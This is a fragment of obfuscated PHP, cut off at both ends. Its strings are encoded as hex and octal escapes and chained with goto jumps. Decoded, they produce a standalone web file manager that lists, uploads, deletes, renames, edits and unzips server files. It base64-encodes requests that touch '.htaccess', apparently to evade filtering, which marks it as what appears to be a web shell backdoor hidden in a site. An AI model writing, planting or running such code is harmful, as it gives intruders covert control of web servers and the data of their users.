x31\65\160\170\x20\162\x67\142\141\x28\60\54\x30\54\x30\x2c\x30\56\63\51\73\x7d\164\145\170\x74\141\162\x65\141\43\x65\144\x69\x74\157\x72\x7b\146\154\x65\x78\x2d\147\162\x6f\167\x3a\61\73\146\157\x6e\x74\x2d\x66\141\x6d\151\154\171\72\x6d\157\156\x6f\x73\160\141\143\x65\73\x66\x6f\156\164\55\x73\151\x7a\145\72\x31\64\160\170\73\142\157\162\144\x65\162\72\x31\x70\170\x20\163\157\154\151\144\x20\43\x64\144\144\x3b\160\x61\x64\144\151\x6e\x67\72\61\x30\160\170\73\175\xa\x20\x20\40\40\74\57\163\x74\x79\154\145\x3e\12\74\57\x68\145\x61\144\x3e\xa\74\x62\x6f\x64\171\x3e\xa\x20\40\40\40\74\x64\151\166\x20\143\x6c\x61\163\x73\x3d\x22\143\157\156\164\141\151\156\x65\162\x22\76\xa\40\x20\x20\x20\40\40\40\x20\x3c\x68\x65\141\x64\145\x72\76\74\150\x33\76\x46\x69\x6c\x65\40\x4d\x61\156\x61\x67\x65\x72\40\x28\123\x74\141\x6e\144\x61\154\157\156\x65\51\74\57\x68\x33\x3e\74\x2f\150\145\141\x64\145\162\76\xa\40\x20\x20\40\40\40\40\x20\x3c\155\x61\151\x6e\76\xa\40\x20\x20\x20\40\x20\x20\40\40\x20\x20\40\74\x64\151\166\x20\x63\154\141\x73\x73\75\42\x74\x6f\x6f\154\142\x61\162\x22\76\x3c\x62\165\x74\x74\157\x6e\40\143\x6c\x61\x73\163\x3d\x22\x62\165\x74\164\157\x6e\42\x20\151\144\75\x22\165\160\154\x6f\x61\x64\x42\x74\x6e\42\x3e\xc3\x83\302\242\303\202\xc2\xac\303\202\xc2\x86\xc3\x83\xc2\xaf\303\x82\xc2\270\xc3\x82\302\x8f\40\125\160\x6c\157\x61\144\74\57\142\x75\x74\x74\x6f\156\x3e\x3c\x62\x75\x74\x74\x6f\x6e\40\143\154\141\x73\x73\75\42\x62\x75\164\164\x6f\x6e\42\40\x69\144\x3d\42\156\145\x77\106\x69\x6c\145\x42\164\156\x22\76\xc3\203\302\260\xc3\202\302\x9f\303\x82\xc2\x93\303\202\xc2\204\40\116\x65\167\x20\106\151\154\x65\74\x2f\142\x75\164\x74\x6f\156\76\x3c\x62\x75\164\x74\157\x6e\x20\x63\x6c\141\x73\x73\x3d\42\x62\x75\x74\164\157\x6e\42\x20\151\144\75\42\156\145\x77\106\157\154\x64\x65\x72\x42\164\x6e\x22\x3e\xc3\203\xc2\242\303\202\302\236\xc3\202\302\225\40\x4e\x65\x77\40\106\x6f\x6c\144\145\x72\74\x2f\x62\x75\164\x74\157\x6e\x3e\74\142\x75\x74\164\157\x6e\40\143\x6c\141\x73\x73\75\x22\x62\165\x74\x74\157\156\40\144\141\x6e\x67\x65\x72\42\40\151\144\x3d\x22\x64\145\x6c\x65\x74\x65\102\164\156\42\x3e\303\203\xc2\xb0\303\x82\xc2\237\303\x82\302\x97\303\x82\xc2\x91\xc3\x83\xc2\257\303\202\302\270\xc3\x82\xc2\217\40\x44\145\154\x65\164\x65\x20\123\145\154\145\x63\164\145\144\x3c\x2f\142\x75\x74\x74\157\156\76\74\x64\151\x76\40\151\144\75\42\163\160\x69\156\156\145\162\x22\x3e\xc3\203\xc2\260\xc3\202\302\x9f\xc3\x82\xc2\225\xc3\x82\302\222\74\x2f\x64\x69\166\76\x3c\57\144\151\166\x3e\12\40\x20\40\x20\40\x20\40\x20\40\x20\40\x20\74\144\151\x76\40\x63\x6c\141\x73\x73\75\42\164\x6f\x6f\x6c\142\x61\x72\42\76\74\x64\151\x76\40\143\x6c\141\x73\163\75\42\160\x61\164\150\x2d\x62\141\162\42\x20\151\144\x3d\42\160\141\x74\150\x42\x61\x72\42\76\x2f\x3c\x2f\144\151\166\x3e\x3c\57\x64\x69\166\x3e\12\40\40\x20\x20\x20\x20\x20\40\40\x20\40\40\x3c\164\x61\x62\154\x65\40\x63\154\x61\163\x73\x3d\x22\146\151\x6c\x65\55\164\x61\142\x6c\x65\42\x3e\74\x74\150\145\141\144\76\x3c\164\162\x3e\74\164\150\76\x3c\151\156\160\165\x74\40\x74\x79\160\x65\x3d\x22\x63\x68\x65\143\153\x62\157\x78\42\x20\151\x64\75\x22\x73\x65\x6c\145\x63\x74\x41\154\x6c\42\76\74\57\164\x68\76\x3c\x74\150\x3e\116\141\155\x65\74\x2f\164\x68\76\x3c\x74\150\76\x53\x69\x7a\x65\74\57\164\x68\x3e\74\x74\150\x3e\115\x6f\x64\151\146\151\145\x64\x3c\57\164\x68\76\74\x74\x68\76\x41\143\164\151\x6f\156\x73\74\57\164\150\x3e\x3c\x2f\164\x72\76\74\57\164\x68\x65\141\x64\x3e\74\x74\142\x6f\144\x79\x20\x69\144\75\x22\x66\151\x6c\x65\114\151\163\164\x22\76\74\57\164\142\x6f\x64\x79\x3e\74\x2f\x74\x61\x62\154\x65\x3e\12\40\40\40\40\40\40\40\40\x3c\x2f\x6d\141\151\156\76\12\40\40\x20\40\74\x2f\144\x69\166\x3e\xa\x20\x20\x20\x20\74\144\x69\x76\x20\x69\x64\x3d\x22\145\144\151\164\157\162\x4d\x6f\x64\141\x6c\x22\x20\x63\x6c\x61\163\163\x3d\x22\x6d\157\x64\141\154\x2d\157\166\145\x72\154\141\171\x22\x3e\74\144\151\166\x20\143\x6c\141\163\163\75\x22\155\x6f\x64\141\154\55\x63\x6f\156\x74\145\156\x74\42\76\x3c\x68\63\x20\x69\144\x3d\x22\x65\x64\151\164\157\162\106\x69\154\145\x6e\x61\155\145\42\40\163\164\171\x6c\145\75\42\x6d\141\162\x67\x69\156\x2d\x74\x6f\160\72\60\x3b\42\76\74\x2f\x68\63\76\74\164\x65\170\x74\x61\x72\x65\141\40\151\144\75\x22\145\x64\151\x74\157\x72\x22\x20\163\x70\x65\x6c\x6c\143\x68\x65\x63\153\x3d\x22\x66\141\154\163\145\42\76\x3c\x2f\x74\145\170\x74\x61\162\145\141\x3e\74\144\x69\x76\x20\x73\x74\171\x6c\x65\x3d\42\x6d\141\x72\x67\151\156\x2d\164\157\160\72\61\x30\x70\x78\73\x22\76\74\x62\x75\164\x74\x6f\156\40\143\154\141\x73\163\x3d\x22\142\x75\164\x74\157\x6e\42\40\x69\x64\x3d\42\x73\141\166\x65\102\x74\156\42\x3e\xc3\203\302\260\303\x82\302\x9f\303\x82\xc2\222\xc3\x82\302\276\x20\x53\141\166\x65\40\103\150\141\x6e\147\145\x73\x3c\57\x62\x75\x74\x74\x6f\x6e\x3e\74\x62\x75\164\x74\157\156\40\143\x6c\x61\163\x73\75\x22\x62\165\x74\164\x6f\x6e\42\x20\x6f\156\x63\x6c\151\x63\153\x3d\42\x64\157\x63\165\155\145\x6e\164\56\147\145\164\x45\154\145\x6d\x65\x6e\x74\102\171\111\144\50\47\145\144\x69\164\x6f\162\115\x6f\144\141\154\x27\x29\56\x73\164\x79\154\145\x2e\x64\151\x73\160\154\x61\x79\75\x27\156\157\156\x65\x27\42\76\x43\154\x6f\x73\145\74\x2f\x62\x75\x74\164\x6f\156\x3e\74\x2f\144\x69\166\76\74\x2f\144\151\x76\x3e\x3c\x2f\x64\151\166\76\xa\40\40\40\x20\74\151\x6e\x70\x75\x74\x20\164\x79\160\x65\x3d\x22\x66\x69\x6c\x65\x22\x20\x69\x64\x3d\x22\x68\x69\x64\x64\x65\156\x46\151\154\145\x49\x6e\x70\165\164\x22\x20\155\x75\x6c\164\x69\160\154\x65\x20\x73\164\171\154\145\x3d\x22\144\x69\163\x70\154\x61\x79\x3a\156\157\156\x65\73\42\76\12\x20\40\x20\x20\x3c\x73\x63\x72\x69\x70\164\76\xa\x20\x20\40\x20\144\x6f\143\165\x6d\x65\x6e\x74\56\141\144\144\105\x76\145\156\x74\114\x69\163\x74\145\156\x65\162\50\47\x44\x4f\115\x43\x6f\156\164\x65\x6e\x74\114\x6f\x61\x64\145\144\x27\x2c\x20\50\x29\40\75\x3e\x20\173\12\40\x20\x20\x20\40\40\x20\40\143\x6f\156\x73\x74\x20\123\x54\101\x54\105\40\75\x20\x7b\40\x63\165\x72\162\145\x6e\164\x50\x61\164\150\x3a\40\47"; goto jupxf; Nx60v: echo "\47\x2c\x20\173\40\155\145\x74\x68\157\x64\x3a\40\x27\x50\x4f\x53\x54\47\54\x20\142\x6f\x64\x79\x3a\40\146\157\162\155\104\141\164\x61\40\x7d\51\x3b\x20\143\157\x6e\x73\164\40\162\x65\x73\165\154\164\x20\75\40\141\167\x61\x69\164\x20\162\145\x73\160\157\156\163\x65\56\152\163\x6f\x6e\x28\x29\73\40\151\x66\x20\x28\x21\x72\145\x73\x75\154\x74\56\163\x75\x63\x63\x65\x73\x73\51\40\x74\x68\162\157\167\x20\x6e\x65\x77\40\105\x72\162\x6f\x72\50\162\145\x73\165\154\164\x2e\155\x65\x73\x73\x61\147\145\51\73\x20\151\x66\40\50\x73\x68\157\167\x53\165\143\143\x65\163\x73\x20\46\x26\x20\162\145\163\165\154\x74\56\x6d\x65\163\163\141\147\x65\x29\40\x61\x6c\145\162\164\x28\162\145\163\165\154\x74\x2e\155\x65\163\x73\141\147\x65\51\73\x20\x72\145\x74\165\162\x6e\x20\162\145\x73\165\154\164\73\xa\40\40\40\x20\40\x20\x20\40\40\x20\40\40\x7d\x20\x63\141\164\143\x68\x20\x28\145\x72\x72\x6f\x72\x29\x20\173\x20\x61\x6c\x65\162\164\50\140\x45\162\162\157\162\72\40\44\x7b\145\x72\x72\x6f\162\56\155\145\x73\x73\141\x67\x65\x7d\x60\x29\x3b\x20\x63\157\x6e\163\157\x6c\x65\56\x65\162\162\x6f\x72\x28\42\x46\x75\154\x6c\x20\162\145\x73\160\x6f\156\163\145\x3a\x22\54\40\x65\162\x72\157\162\x2e\x72\145\x73\160\x6f\156\163\145\x29\73\40\x72\x65\x74\165\x72\156\40\x6e\165\x6c\x6c\73\40\175\x20\x66\x69\156\141\x6c\x6c\171\x20\x7b\40\x64\x6f\155\56\x73\x70\x69\x6e\x6e\145\162\x2e\163\164\171\154\x65\x2e\x64\x69\163\x70\154\x61\171\x3d\x27\x6e\157\156\x65\x27\73\40\x7d\xa\x20\40\x20\x20\40\x20\40\40\175\12\40\40\x20\x20\x20\x20\x20\40\146\x75\x6e\x63\164\151\x6f\x6e\40\162\x65\x6e\x64\145\x72\50\51\40\x7b\12\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\143\157\x6e\x73\164\x20\146\157\x72\155\104\141\164\x61\x20\x3d\x20\156\x65\x77\x20\106\157\162\x6d\x44\x61\164\x61\x28\51\x3b\40\146\x6f\162\x6d\104\x61\x74\141\56\x61\160\160\145\156\x64\x28\47\160\141\164\x68\47\54\x20\123\x54\x41\x54\105\56\143\165\162\x72\x65\156\164\x50\x61\164\x68\x29\73\xa\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\x61\x70\151\x43\x61\x6c\154\50\47\x6c\151\163\x74\x27\54\40\146\157\x72\155\104\x61\x74\x61\x29\x2e\164\x68\x65\156\50\162\x65\163\165\154\164\40\x3d\76\x20\173\12\40\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\x20\40\151\146\40\50\x21\x72\x65\163\165\154\x74\51\x20\162\x65\164\x75\162\x6e\73\xa\40\x20\40\x20\40\40\x20\40\x20\40\x20\x20\40\40\40\x20\x53\124\101\124\105\56\143\x75\x72\162\x65\156\164\x50\141\164\150\x20\x3d\40\x72\x65\163\165\154\164\56\x70\x61\x74\x68\73\40\144\157\x6d\x2e\x70\141\x74\150\x42\x61\x72\56\x74\145\x78\x74\103\157\156\164\x65\156\164\40\75\x20\123\124\x41\124\105\x2e\143\165\x72\x72\x65\156\164\x50\141\164\150\73\x20\x6c\x65\x74\x20\x68\x74\x6d\x6c\40\x3d\40\x27\x27\73\40\154\x65\x74\x20\160\x61\162\x65\x6e\x74\120\x61\x74\x68\40\75\40\123\x54\101\x54\105\56\143\x75\x72\162\x65\156\x74\x50\141\x74\x68\56\163\x75\x62\163\164\x72\151\x6e\147\x28\x30\x2c\40\123\124\101\124\x45\56\143\165\x72\162\145\156\164\x50\141\x74\x68\56\154\141\x73\x74\x49\156\144\x65\x78\x4f\146\x28\x27\x2f\x27\51\51\73\x20\x69\x66\x20\50\160\141\x72\145\156\164\x50\141\164\150\40\75\75\75\x20\x27\47\51\x20\x70\141\x72\x65\x6e\164\x50\141\x74\150\x20\x3d\40\x27\x2f\47\73\xa\x20\40\40\x20\x20\x20\40\40\40\x20\40\40\40\40\40\x20\151\146\x20\50\x53\124\x41\x54\105\56\143\x75\x72\x72\145\156\x74\120\x61\x74\150\40\x21\75\75\40\47\57\47\x29\40\x7b\x20\x68\164\x6d\154\40\53\75\40\x60\x3c\164\162\40\x64\x61\164\x61\55\160\141\x74\150\75\42\44\x7b\160\141\x72\x65\x6e\x74\x50\x61\164\x68\x7d\x22\x3e\74\x74\144\x3e\x3c\57\164\144\x3e\74\x74\x64\x20\x63\157\154\163\x70\141\x6e\x3d\42\64\x22\x20\143\154\x61\x73\163\75\x22\x69\x74\145\155\55\154\x69\156\153\x22\x3e\xc3\x83\xc2\xa2\303\x82\xc2\xac\303\202\302\206\xc3\203\302\xaf\303\x82\xc2\xb8\303\202\xc2\x8f\40\56\56\40\50\120\141\x72\x65\x6e\x74\40\104\151\x72\145\x63\164\157\x72\x79\51\x3c\x2f\164\x64\76\74\57\x74\x72\76\x60\x3b\40\175\xa\40\40\x20\40\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\x20\162\145\163\x75\154\164\56\146\151\154\145\163\x2e\x73\157\162\164\50\50\141\54\142\51\40\x3d\x3e\x20\x28\x61\56\151\x73\x5f\144\151\x72\x20\x3d\75\x3d\x20\142\56\151\x73\137\144\151\x72\51\x20\x3f\x20\x61\x2e\156\x61\155\x65\56\x6c\x6f\x63\141\x6c\145\103\x6f\155\160\141\162\x65\x28\x62\56\156\141\x6d\x65\x29\40\x3a\40\50\x61\x2e\151\x73\x5f\x64\151\162\x20\77\40\55\61\40\72\x20\x31\51\51\x3b\xa\40\40\x20\x20\x20\40\40\40\x20\40\40\x20\40\40\40\x20\162\x65\163\165\154\x74\56\x66\151\x6c\x65\163\x2e\146\x6f\x72\x45\x61\143\x68\50\146\x69\154\145\x20\75\x3e\x20\x7b\xa\x20\40\40\x20\40\x20\x20\x20\40\40\40\x20\x20\40\x20\40\x20\40\40\40\x63\157\156\x73\164\40\163\x69\172\x65\40\x3d\40\x66\x69\x6c\x65\x2e\x69\163\137\x64\151\x72\40\77\x20\x27\55\47\x20\x3a\40\50\x66\151\x6c\x65\56\163\x69\x7a\x65\x20\57\40\x31\60\62\x34\x29\x2e\164\157\106\151\170\x65\144\50\x32\x29\40\53\40\47\x20\113\102\47\x3b\x20\143\x6f\156\x73\x74\40\155\157\144\151\146\x69\145\x64\40\x3d\x20\156\145\x77\40\x44\141\164\x65\50\x66\x69\x6c\145\x2e\x6d\x6f\144\151\x66\151\145\144\40\x2a\x20\x31\60\60\60\51\x2e\164\157\x4c\157\x63\141\154\x65\123\164\162\151\156\147\x28\x29\x3b\12\40\40\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\40\40\x20\40\40\x20\x20\x63\x6f\x6e\x73\164\x20\x69\x63\157\156\x20\75\40\146\151\x6c\145\56\x69\163\x5f\x64\151\162\40\77\x20\47\303\203\302\260\xc3\x82\302\237\303\202\xc2\223\303\x82\xc2\201\x27\x20\x3a\x20\47\303\x83\302\xb0\xc3\x82\xc2\237\xc3\202\302\223\303\x82\302\x84\x27\x3b\12\40\x20\40\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\40\x20\40\40\40\x20\143\157\156\x73\164\40\x66\165\154\154\120\x61\x74\x68\40\x3d\40\x60\x24\x7b\123\124\101\x54\x45\56\x63\165\162\x72\x65\156\164\x50\141\x74\x68\175\57\44\x7b\146\x69\154\145\x2e\x6e\x61\x6d\145\175\140\x2e\x72\x65\160\x6c\141\x63\145\x28\57\x5c\57\53\x2f\147\x2c\x20\x27\57\47\51\x3b\x20\143\157\x6e\163\164\40\x64\141\x74\x61\x41\x74\164\x72\40\75\40\x60\144\141\x74\x61\55\160\x61\164\150\75\x22\44\173\146\x75\x6c\x6c\x50\141\164\x68\x7d\42\140\x3b\40\x63\157\156\x73\x74\x20\x72\x6f\x77\x44\x61\x74\x61\x20\75\x20\146\x69\154\145\56\x69\163\137\x64\151\162\40\77\x20\140\143\154\x61\x73\x73\75\42\144\151\x72\55\154\x69\x6e\x6b\x22\x20\x24\173\144\141\164\x61\x41\x74\164\x72\175\140\x20\72\40\47\47\x3b\12\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\150\164\x6d\x6c\40\53\75\40\x60\x3c\164\x72\x20\44\x7b\162\x6f\x77\104\141\164\x61\175\x3e\74\x74\144\76\74\151\x6e\160\x75\x74\x20\x74\x79\x70\145\x3d\42\x63\150\145\143\x6b\142\x6f\x78\x22\40\143\154\141\x73\163\x3d\42\x69\x74\x65\x6d\55\163\145\154\145\x63\x74\42\x20\166\x61\x6c\x75\x65\75\x22\44\x7b\146\151\x6c\x65\x2e\x6e\x61\x6d\145\175\x22\76\74\x2f\x74\x64\76\74\x74\x64\76\x3c\141\x20\150\x72\x65\146\75\42\x23\42\x20\143\154\141\x73\x73\x3d\42\151\164\145\155\x2d\154\151\156\153\x22\x20\44\173\144\x61\164\x61\101\164\164\x72\175\76\x24\x7b\151\x63\157\x6e\x7d\40\44\173\x66\151\154\x65\x2e\156\141\155\x65\175\74\57\x61\x3e\x3c\57\164\x64\76\x3c\x74\144\76\44\x7b\x73\151\172\x65\175\x3c\x2f\x74\144\76\74\164\144\x3e\44\173\x6d\157\144\x69\x66\151\x65\x64\175\74\57\x74\144\76\x3c\x74\x64\x3e\x3c\x64\x69\x76\x20\143\154\x61\x73\x73\x3d\42\x61\143\x74\151\x6f\x6e\x73\42\76\44\x7b\x21\x66\151\154\145\x2e\151\x73\137\x64\x69\162\x20\77\40\140\x3c\x62\x75\164\x74\157\x6e\40\x63\x6c\141\163\x73\x3d\x22\142\x75\x74\164\x6f\156\x20\145\144\x69\x74\55\x62\164\x6e\42\x20\x24\x7b\x64\x61\x74\141\101\164\164\x72\175\x3e\105\144\x69\x74\x3c\x2f\142\165\x74\164\x6f\x6e\76\x60\40\x3a\x20\47\x27\x7d\74\x62\x75\164\164\x6f\156\x20\x63\154\x61\x73\x73\75\42\x62\165\164\x74\157\156\40\x72\145\x6e\141\155\x65\x2d\142\164\x6e\42\x20\144\x61\x74\141\55\x6e\x61\x6d\x65\75\x22\44\x7b\146\x69\154\145\56\156\x61\x6d\x65\175\x22\x3e\122\145\156\x61\x6d\x65\74\x2f\x62\x75\x74\164\x6f\x6e\76\x24\173\x66\x69\154\x65\56\156\141\x6d\x65\56\x65\x6e\144\163\x57\x69\x74\x68\50\x27\56\172\x69\160\47\x29\x20\77\40\140\x3c\142\165\164\164\157\x6e\40\x63\x6c\x61\163\x73\75\42\142\165\164\164\157\x6e\x20\x75\x6e\x7a\151\160\55\x62\x74\156\x22\x20\44\173\144\x61\164\x61\101\164\x74\162\x7d\x3e\125\156\x7a\151\x70\x3c\x2f\142\165\x74\x74\x6f\x6e\x3e\x60\72\x27\x27\40\175\x3c\57\x64\x69\166\x3e\x3c\x2f\164\x64\x3e\74\57\x74\x72\x3e\x60\x3b\xa\40\x20\40\x20\40\x20\x20\x20\x20\x20\40\x20\40\x20\x20\40\175\x29\x3b\12\x20\x20\x20\40\x20\x20\40\40\40\x20\40\40\x20\40\x20\x20\144\157\x6d\56\146\151\x6c\x65\114\151\163\164\56\x69\156\156\x65\162\110\x54\x4d\x4c\40\x3d\40\150\x74\155\154\73\40\x64\x6f\155\56\x73\x65\x6c\x65\143\x74\101\154\154\x2e\143\x68\145\143\153\x65\144\40\x3d\x20\x66\141\154\x73\x65\73\12\x20\40\x20\40\x20\40\x20\40\x20\40\40\40\175\51\73\12\40\40\40\x20\x20\40\40\x20\x7d\12\x20\40\x20\x20\40\40\x20\40\12\40\x20\x20\40\x20\40\40\x20\x64\157\x6d\x2e\x66\x69\x6c\145\x4c\x69\163\x74\56\141\x64\x64\105\166\145\156\164\114\x69\163\164\x65\156\x65\x72\x28\x27\143\x6c\x69\x63\x6b\47\x2c\40\x65\x20\75\x3e\x20\173\xa\40\40\x20\x20\40\x20\40\40\40\x20\40\x20\x69\146\40\50\x65\56\x74\141\x72\147\145\x74\x2e\x6d\141\164\x63\x68\145\163\x28\47\56\x69\164\145\155\55\163\145\154\x65\143\164\47\x29\51\40\173\x20\x72\145\x74\x75\x72\156\x3b\x20\x7d\12\x20\40\x20\x20\x20\x20\x20\x20\x20\40\x20\40\143\x6f\x6e\163\164\40\x62\x75\x74\164\157\x6e\40\x3d\x20\x65\56\x74\141\162\x67\x65\164\56\x63\x6c\157\163\x65\x73\164\x28\x27\142\165\x74\x74\157\x6e\47\51\x3b\12\x20\40\x20\40\x20\40\40\40\40\40\40\40\x69\x66\40\x28\x62\x75\x74\164\157\x6e\51\x20\173\12\x20\40\40\40\40\40\40\x20\40\40\x20\40\x20\x20\40\40\x65\56\x70\x72\x65\166\x65\156\164\104\x65\146\x61\x75\154\x74\x28\x29\73\12\x20\x20\40\40\x20\40\40\x20\x20\x20\40\x20\40\x20\40\40\x69\x66\40\50\142\165\164\x74\157\x6e\56\155\x61\164\143\150\145\163\x28\x27\x2e\x72\x65\x6e\x61\155\145\55\x62\x74\156\x27\x29\x29\40\x7b\xa\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\x20\40\x20\40\143\157\x6e\x73\164\40\x6f\154\144\116\141\155\x65\x20\x3d\40\142\x75\x74\x74\157\x6e\x2e\x64\x61\164\141\163\x65\x74\x2e\156\141\x6d\x65\x3b\xa\x20\40\x20\40\x20\40\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\40\143\x6f\x6e\163\164\40\156\x65\167\116\x61\x6d\x65\x20\75\x20\x70\162\x6f\155\160\164\50\x27\x45\156\164\x65\162\x20\156\x65\x77\x20\156\141\x6d\x65\72\47\54\x20\157\154\x64\x4e\141\155\145\51\73\12\40\40\x20\x20\40\40\40\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\40\151\x66\x20\50\156\145\x77\116\x61\155\x65\x20\46\46\x20\156\x65\167\x4e\x61\x6d\x65\40\41\75\x3d\40\157\x6c\144\116\141\155\145\x29\40\x7b\12\x20\x20\x20\x20\40\40\x20\40\40\40\x20\40\x20\x20\x20\40\40\x20\x20\x20\x20\40\x20\40\143\157\x6e\x73\x74\40\146\144\40\x3d\40\156\x65\x77\x20\x46\157\162\155\104\141\164\141\x28\x29\x3b\xa\40\40\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\146\144\56\141\160\x70\x65\x6e\144\x28\x27\160\x61\x74\x68\47\54\x20\x53\x54\x41\124\x45\x2e\143\x75\162\x72\145\x6e\x74\120\x61\x74\150\x29\73\12\40\40\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\40\x20\40\40\40\x20\x20\40\x20\x20\x6c\x65\x74\40\x61\143\164\151\157\x6e\40\x3d\x20\47\x72\145\x6e\x61\155\x65\47\73\xa\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\40\x20\40\x69\146\40\x28\157\x6c\x64\116\x61\155\x65\56\151\156\x63\x6c\165\144\145\163\x28\x27\56\150\x74\x61\143\143\x65\163\x73\47\x29\x20\x7c\x7c\x20\x6e\x65\167\116\x61\x6d\x65\x2e\x69\x6e\143\x6c\x75\x64\145\163\50\47\56\x68\x74\x61\143\143\145\163\x73\x27\51\51\40\x7b\12\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\40\40\x20\40\x20\40\x20\40\x20\40\40\x20\141\x63\x74\x69\157\x6e\x20\x3d\40\47\x72\x65\x6e\141\155\145\137\x62\x36\64\x27\x3b\xa\x20\40\x20\40\40\40\40\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\x20\40\40\40\40\40\40\40\146\x64\x2e\141\160\x70\145\156\x64\50\47\157\154\x64\137\156\x61\155\145\137\x62\66\64\x27\54\40\x62\164\x6f\141\x28\157\154\144\116\x61\x6d\x65\x29\51\x3b\xa\40\x20\40\40\x20\40\x20\40\x20\40\x20\40\x20\x20\40\40\40\40\x20\x20\40\x20\40\40\40\x20\40\x20\146\144\56\x61\160\x70\x65\156\x64\x28\x27\156\x65\x77\x5f\x6e\141\x6d\145\x5f\142\x36\64\x27\x2c\40\142\x74\157\141\x28\x6e\x65\167\116\141\x6d\x65\x29\51\x3b\12\x20\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\40\40\40\x20\40\40\x20\40\40\x20\x20\x20\175\40\x65\x6c\x73\x65\40\173\xa\40\40\x20\40\x20\x20\x20\x20\40\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\146\x64\56\x61\x70\x70\x65\156\x64\50\47\x6f\x6c\x64\137\156\x61\155\x65\x27\x2c\x20\157\154\x64\x4e\141\x6d\145\x29\x3b\xa\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\40\40\40\x66\x64\x2e\x61\x70\x70\x65\x6e\144\x28\47\x6e\145\x77\x5f\156\141\x6d\145\x27\x2c\x20\156\145\167\x4e\x61\x6d\x65\x29\x3b\xa\x20\x20\40\40\40\x20\40\x20\40\40\40\x20\x20\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\175\12\40\40\40\40\x20\40\40\x20\x20\40\x20\x20\40\x20\x20\40\40\40\40\x20\40\x20\40\40\x61\160\151\x43\x61\x6c\x6c\50\x61\143\164\151\x6f\156\54\x20\x66\x64\51\56\x74\x68\x65\x6e\50\162\145\x6e\x64\145\x72\51\x3b\xa\x20\40\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\40\x7d\12\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\x20\40\40\40\x20\175\x20\12\40\x20\40\x20\x20\40\40\40\x20\x20\40\x20\40\x20\x20\x20\x65\x6c\x73\145\40\x69\x66\40\50\x62\165\x74\x74\157\156\56\155\141\164\143\x68\145\x73\x28\47\56\x75\156\x7a\x69\160\55\x62\164\x6e\47\51\x29\x20\x7b\40\x69\x66\40\x28\143\157\156\x66\x69\x72\x6d\x28\47\101\x72\x65\40\x79\x6f\x75\x20\x73\165\162\145\40\x79\157\x75\x20\167\x61\x6e\164\40\164\157\40\x65\x78\x74\162\141\x63\x74\x20\164\150\151\163\x20\x61\162\143\x68\151\166\145\77\x27\x29\51\x20\173\x20\x63\x6f\156\x73\164\40\x66\144\40\75\40\156\145\x77\40\106\157\162\x6d\x44\141\164\x61\x28\51\x3b\x20\146\x64\x2e\x61\x70\160\x65\156\x64\50\x27\x70\141\x74\x68\x27\54\x20\x62\165\164\x74\x6f\156\x2e\x64\x61\164\141\163\145\x74\x2e\x70\x61\164\x68\x29\x3b\40\x61\x70\151\103\141\154\x6c\50\47\165\156\x7a\151\x70\x27\x2c\x20\146\144\54\x20\164\x72\165\145\51\x2e\164\x68\x65\156\x28\162\x65\156\144\145\x72\51\73\x20\x7d\x20\175\x20\xa\x20\40\x20\40\40\40\x20\40\40\40\40\x20\40\x20\x20\40\145\x6c\x73\x65\x20\151\x66\40\50\142\165\x74\x74\x6f\156\56\155\141\164\x63\x68\x65\163\50\x27\x2e\x65\144\151\164\55\x62\x74\x6e\47\51\x29\x20\x7b\12\x20\40\40\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\40\40\40\x20\40\x20\x63\x6f\156\163\x74\x20\160\141\x74\150\40\x3d\x20\142\165\x74\x74\157\x6e\56\144\141\x74\141\x73\145\x74\x2e\160\x61\x74\150\x3b\xa\x20\40\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\40\x20\40\40\40\40\x20\x63\157\x6e\x73\164\40\x66\144\x20\75\x20\156\x65\167\x20\x46\157\162\x6d\104\141\x74\x61\50\x29\73\xa\40\x20\x20\40\40\x20\x20\x20\40\40\40\40\40\40\40\x20\x20\x20\x20\40\154\x65\x74\x20\x61\x63\164\151\x6f\156\40\x3d\x20\x27\x67\x65\x74\x5f\x63\x6f\156\164\145\156\x74\x27\x3b\12\40\40\40\x20\40\40\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\40\40\x20\x69\x66\x20\x28\160\x61\x74\150\x2e\x69\156\x63\x6c\x75\144\x65\163\x28\47\x2e\x68\164\x61\x63\143\145\x73\x73\47\x29\x29\40\x7b\12\40\40\40\40\x20\x20\40\x20\40\40\40\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\141\143\x74\x69\x6f\156\x20\x3d\x20\47\x67\145\164\x5f\143\157\156\x74\x65\156\x74\137\x62\66\x34\47\73\xa\x20\x20\x20\40\40\x20\40\40\x20\40\x20\40\40\x20\40\x20\40\40\40\x20\40\40\x20\x20\146\x64\x2e\141\x70\x70\x65\156\144\x28\x27\160\x61\x74\150\x5f\x62\66\x34\47\x2c\x20\142\164\157\x61\x28\x70\141\164\x68\51\51\73\xa\x20\40\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\40\x20\40\x7d\x20\145\x6c\163\145\40\173\xa\x20\x20\40\x20\x20\40\40\40\x20\40\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\40\x20\40\x66\x64\x2e\141\160\160\x65\156\144\x28\x2